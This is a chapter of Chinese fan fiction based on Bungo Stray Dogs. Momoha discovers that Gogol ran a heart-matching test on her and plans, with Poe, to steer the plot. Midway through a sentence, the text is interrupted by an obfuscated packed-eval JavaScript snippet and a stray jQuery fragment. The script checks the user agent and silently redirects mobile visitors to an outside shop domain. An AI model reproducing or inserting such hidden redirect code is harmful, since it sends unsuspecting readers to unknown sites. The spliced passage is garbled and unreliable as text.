60
小鸟游桃羽感觉，她今天过得挺充实的。
埃德加·爱伦·坡把小浣熊卡尔带到了她的房间里，和他与果戈里一起养的秋草鹦鹉玩了一个下午。吃完午饭后她便在画稿，到了傍晚，和果戈里一起出门长跑，然后吃了个饭，就回家了。
只不过奇怪的是，在公寓的楼下，她注意到一个人影正站在公寓的楼下，可是注意到有人来了，立马躲到了树的后面。
短暂的一刻，她好像注意到了一抹香芋色。
……西格玛？
她是来找果戈里的吗？
于是她立马给果戈里发了一个消息：
【我好像看见西格玛了，他来找你了吗？】
【没有啊。】果戈里秒回。
【莫非桃羽酱是因为我今天开了那个劈腿的玩笑所以报复性查岗吗？】
“……”
她就不该发这个消息。
但看果戈里能这么快回复，而且这个态度也不像在和西格玛说着什么一样，也许西格玛的确不是来找果戈里的。
那难道是找她吗？
这个猜测让桃羽下意识第一时间开门下了楼，没想到西格玛果然还站在楼下，看见她的时候，就立马想转身离开。
“——等一下！”
小鸟游桃羽选择了叫住他。
“……你，是有什么事找我吗？”
西格玛虽然是天空赌场的赌场主，但本质上也还是个只有三年记忆的孩子。现在似乎有点被吓到了，迟迟疑疑地开不了口，最后也只好伸出手，触碰了一下桃羽的手臂，又迅速收了回来。
西格玛的能力是交换信息。但桃羽还是第一次感受到他真正的能力效果。就在感受到来自对方的组触感的一瞬间，她的眼前立马出现了一张检查报告单。
这是什么？
……心脏配型？十个点位都一样的全相合，而且名字还是她和果戈里的？
脑子仿佛有一道闪电闪过一般。小鸟游桃羽想到了那天她被果戈里带去做体检的事情。
那个时候她是完全昏睡的状态，又是私人诊所，果戈里趁机做个配型检查完全没问题。
而原作的“天人五衰”剧情中，果戈里曾经通过一个用能力移动血液的魔术救下了从天空赌场掉落的西格玛。既然他的能力可以用在人类的血液上，那么将一颗心脏在不需要任何外科手术能力的前提下调换，也是可以做得到的。
难道——
果戈里是打算……
如果匹配成功，又真的出了什么事情的话，把他们的心脏换过来？
可是，他真的有必要做到这个地步吗？
明明她是一个一开始只是为了达成自己的目的才接近他，甚至装作不知道他和费奥多尔的身份答应了做助手的人……
桃羽只觉得自己浑身都在颤抖着，每一根毛细血管的血液都好像透露着一阵冰冷。西格玛似乎也看出了她表情，只是颤颤巍巍地说了一声“我先失礼了”就迅速离开了。
桃羽一个人站在原地，仿佛一尊雕塑一样停留了半晌，这才转身祝准备回房间。才一转身，就立马撞入了一个人的怀里。
……果戈里？
他是从什么时候站在这里的？
可没想到，不等她先开口，果戈里先主动摘下了面具，说道：
“我从刚才就在听了。”
“桃羽突然问我西格玛在不在，而且我听到了门声的时候就知道他肯定是想告诉你了……”
“别生气。”他说，“我只是觉得这么做才能感受到自由而已。”
“……”桃羽鼻子一酸，吸了吸鼻子，这才紧紧抱住了他，“我没有生气。毕竟我一开始也在隐瞒你。但——”
“但如果你真的这么做了，我不会自由的。”
“也许靠你的能力，我能活下去。但余生也许都会被困在名为愧疚的牢笼里。明明没有勇气活下去，但又不得不代替你活下去……”
“我……”
果戈里顿了顿，终究没再说什么，只是任由桃羽在他的怀中哭了起来。
对不起。他心说。
也许，他的确到现在为止没明白过真正的自由。
既然如此，他也只好对不起自己的挚友了。反正他本来就已经打算杀掉费奥多尔君了。为了桃羽酱装作和以前一样真心帮他演一出戏，也没什么。
反正“小丑”的言行本来就全是谎言。
而与此同时，站在远处的西格玛看着两个人相拥的样子，选择了离开。
他的能力是公平的。把对方想要的情报交换过去，他也会得到对方知道的一个情报。而在小鸟游桃羽的身上，西格玛只想知道的就是——
果戈里给一个没心脏病的人做配型到底图什么。
可没想到真相更加炸裂。
异世界、穿越者什么的……
而且看果戈里这个样子，是已经知道了吗？
所以那小丑一开始就不是在胡闹，而是为了让心爱的女孩活下去。
那——
如果是为了让他活下去的话，费奥多尔……
也会这么做吗？
西格玛无法肯定答案。但或许……
他不会这么做。
…………
那天晚上，小鸟游桃羽穿越后难得失眠了。
颤抖着手指，她把一切都编辑成了小作文，包括果戈里做心脏类型的事情，并表示希望如果自己真的失败了，而果戈里还是犯傻了的话。有人能阻止他。
桃羽是想把这个消息编辑成定时发给太宰治的。可犹犹豫豫地却又没发出去。
她才刚对果戈里说了那些话，如果真的用人间失格阻止他的话，那么也就意味着果戈里也要背负着什么也没做到的愧疚。
一直到东方露出鱼肚白的时候，桃羽才摇了摇头，退出了手机记事本。
还是先努力改变剧情吧。又不是已经到了自己和果戈里只能活下去一个的地步。
揉了揉酸涨的眼睛，桃羽决定先把今天正好是回收日的可燃垃圾扔掉，再顺便买一杯咖啡提神。
反正现在睡的话可能会白天睡了一天，到了晚上反而睡不着，倒不如跑会步，然后回房间画画。
只不过没想到，果戈里早早就穿着运动服在等着她了。
“早啊桃羽酱，一起去跑步吧！”
这家伙还不会也
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17857273|202590||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
没睡着吧？
“好吧。”桃羽拉起了果戈里的手，“一起去跑步吧。”
这一次，两个人又尝试了一次竭尽全力奔跑的感觉。从公寓跑到车站，又跑回来，重新到了公寓楼下，桃羽才坐在了自贩机旁边的长椅上。
果戈里的体力比她要好，这时候自然主动买了两杯热咖啡，把其中一杯交给了桃羽，这才做到了旁边。
小鸟游桃羽一点一点喝着咖啡。只觉得一晚上没睡着的疲倦似乎也在运动后缓解了不少。
慢慢喝完一杯咖啡的时候，休息得差不多了。正要扔到旁边的垃圾桶里，正好撞到了同样抱着卡尔来楼下买咖啡的埃德加·爱伦·坡。
“哇，你居然出门了诶！”果戈里的声调扬了起来，“平常我可是从来没见过你怎么出来的，难道是昨天我的提醒听进去了吗？”
埃德加·爱伦·坡：“……”
“算是吧。”
“不过，也是想把小说的大纲交给桃羽桑。我找她画人设的小说昨晚已经把大纲写好了。”
“这样啊。”果戈里很识相地站了起来，“既然是桃羽酱工作上的事情，那我先不打扰了。”
小鸟游桃羽：“……”
埃德加·爱伦·坡：“……”
这个态度——
怎么好像他这个男朋友是个电灯泡一样啊？
小鸟游桃羽接过来看了看。
不愧是小说家。明明昨天才商量好了小说的事情，今天就已经把人设、大纲写得很完善了。大致的内容就是一个正义者是怎么被骗者做了一些错事，甚至不惜伤害了一直信任自己的朋友的剧情。
但这正是她想要的。
如果把这个再配合上她写的剧情，足够提醒社长和乱步了。
“就这个剧情吧。”小鸟游桃羽说，“我希望你帮我的就是，按照这个大纲把小说写完，然后像之前一样，用你的能力把乱步桑送到小说世界里。”
“欸？”埃德加哦·爱伦·坡抬起头，“你怎么知道我一直在让他帮忙看作品的？”
“是他说的！”桃羽忙说完，才上了楼。
以坡的能力，如果只是不到十万字的中篇或者短篇小说的话，应该只需要去一个星期左右就可以完稿。果戈里也答应了她，这之前会想办法稳住费奥多尔，让他不要轻举妄动。
到了那个时候，或许就该正式像“天人五衰”宣战了。
回到房间里，果戈里的电话就立马打了过来。
小鸟游桃羽：“……”
这么准时，还不会这家伙一直在楼上看着他们，甚至还要打电话“查岗”吧。
没想到果戈里还有这么有占有欲的一面。
“桃羽酱——”电话那边是果戈里高扬的声音，“今天中午要出去吃饭吗？就约在车站附近那家家庭餐厅。我觉得那里的披萨饼和意大利面还挺好吃的。”
“不过今天不是约会哦。是小西格玛说想和我们见一面。”
“好。”桃羽说，“到时候我会准时在楼下等你的。”
以前小鸟游桃羽就觉得，西果陀三人目的完全不一样。现在看来——
天人五分之三衰要正式闹掰了。